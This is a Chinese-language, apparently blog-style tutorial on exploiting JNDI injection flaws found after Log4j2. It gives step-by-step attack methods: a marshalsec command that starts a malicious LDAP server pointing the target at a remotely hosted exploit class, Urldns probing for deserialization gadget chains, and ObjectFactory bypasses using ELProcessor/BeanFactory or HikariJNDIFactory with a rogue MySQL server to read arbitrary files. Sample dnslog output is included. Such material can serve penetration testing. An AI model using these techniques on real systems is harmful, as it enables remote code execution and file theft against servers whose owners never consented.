在log4j2漏洞之后很多人常常可以借助扫描器发现JNDI漏洞,却对利用JNDI感到很棘手,这篇文章就从实际出发,尽量少的讲原理,一步一步教你如何利用JNDI漏洞。
首先,JNDI分两种协议,一种rmi,一种ldap,在绝大部分情况下,ldap可以完美覆盖rmi,因此你可以无视rmi直接用ldap。
使用ldap,也分三种情况。
一种是jndi注入,需要被攻击者A,访问VPS上的ldap服务,然后ldap服务要求被攻击者A访问并加载一个http服务上的class。这种情况受着JDK版本限制(最低JDK11.0.1/8u191/7u201/6u211)
一种是ldap反序列化,需要被攻击者A,访问VPS上的ldap服务,然后ldap服务传输序列化payload,要求被攻击者A去进行反序列化。这种情况需要反序列化链。
一种是ldap工厂类绕过,和反序列化过程几乎一样,不同的是反序列化链换成了ObjectFactory链。
我们在测试JNDI漏洞时,第一要求就是ldap协议出网,ldap协议不出网是绝对无法完成漏洞利用的。对log4j2来说,不出网还可以用dnslog带出敏感信息,对fastjson来说,也有不出网的利用方法,但对JNDI的利用来说,必须得出网。
判断是否出网很简单,用rmi协议会非常直观(当然ldap也可以),比如我在本地上搭了个log4j2漏洞环境。
一、JNDI注入
确定出网后,就可以尝试JNDI注入。如果我们能获取对方的JDK版本,直接对比就行了,如果不能,就要盲打。比如log4j2就可以利用dnslog或者ldap来获取JDK版本。
更多时候无法获取JDK版本,可以用任意一个JNDI工具尝试盲打,比如marshalsec。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:5667/#Exploit" 1389
然后监听5667,如果收到http请求证明可以JNDI注入。
再深入利用就是将5667端口上的class换成命令执行或者内存马的恶意类。因为需要临时制作恶意类,还需要开ldap和http两个端口,比较麻烦,所以现在很多JNDI工具都集成了JNDI注入功能,大家自己搜。
https://github.com/search?q=jndi
二、反序列化绕过
但是绝大部分时候都是高版本JDK,我们只能寻求绕过方法。第一种是反序列化绕过,要求对方有反序列化链。
这种情况就只需要一个ldap服务,上述的JNDI工具也集成了此功能,但是对于反序列化链的寻找,就需要用到Urldns进行探测。
https://github.com/kezibei/Urldns
我们需要找到一个可以显示很多条dnslog的网站。
https://dig.pm/
java -jar Urldns.jar ldap all xxx.dnslog.cn
发起jndi注入攻击,效果如下
50多条,很多重复的,在web中显示不全,在burp中查看所有记录。
如果自建dnslog平台可以写个小脚本提取一下,我这里就手工提取比较重要的信息。
cc31or321.c2424831.logplog.eu.org
cb19x.c2424831.logplog.eu.org
javax_el_ELProcessor.c2424831.logplog.eu.org
cc322.c2424831.logplog.eu.org
org_yaml_snakeyaml_Yaml.c2424831.logplog.eu.org
becl.c2424831.logplog.eu.org
windows.c2424831.logplog.eu.org
com_mysql_jdbc_Driver.c2424831.logplog.eu.org
com_zaxxer_hikari_HikariJNDIFactory.c2424831.logplog.eu.org
org_apache_naming_factory_BeanFactory.c2424831.logplog.eu.org
只关注反序列化链,有cb19x,有cc31or321和cc322,高版本覆盖低版本,因此cc322没有反序列化链漏洞,能利用的唯一链就是cb19x。
那么就需要用JNDI工具进行JNDI bypass,我自己写了一个,大家用网上的就行。注意commons-beanutils版本依赖。
三、ObjectFactory绕过
和反序列化绕过类似,只要被攻击者有对应的依赖就行,长期以来一直用的是javax.el.ELProcessor和org.apache.naming.factory.BeanFactory组合。但浅蓝挖掘了更多的可能性。
http://www.b1ue.cn/archives/529.html
我们用Urldns探测之后发现也发现了ELProcessor和BeanFactory,那么可以如图。
还可以发现HikariJNDIFactory和mysql的组合,mysql jdbc可以反序列化(无意义)和任意文件读取。如下图,利用jndi工具和rogue_mysql_server.py实现任意文件读取。